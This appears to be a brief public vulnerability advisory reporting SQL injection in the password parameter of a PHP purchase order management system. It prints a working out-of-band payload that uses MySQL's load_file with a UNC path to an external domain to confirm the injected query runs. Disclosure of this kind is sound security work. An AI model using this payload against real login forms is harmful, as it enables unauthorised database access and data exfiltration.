## Title: Purchase Order Management-1.0 - SQLi ## Author: nu11secur1ty ## Date: 03.06.2023 ## Vendor: https://www.sourcecodester.com/user/257130/activity ## Software: https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The `password` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvik.stupid.com\\aej'))+' was submitted in the password parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed.
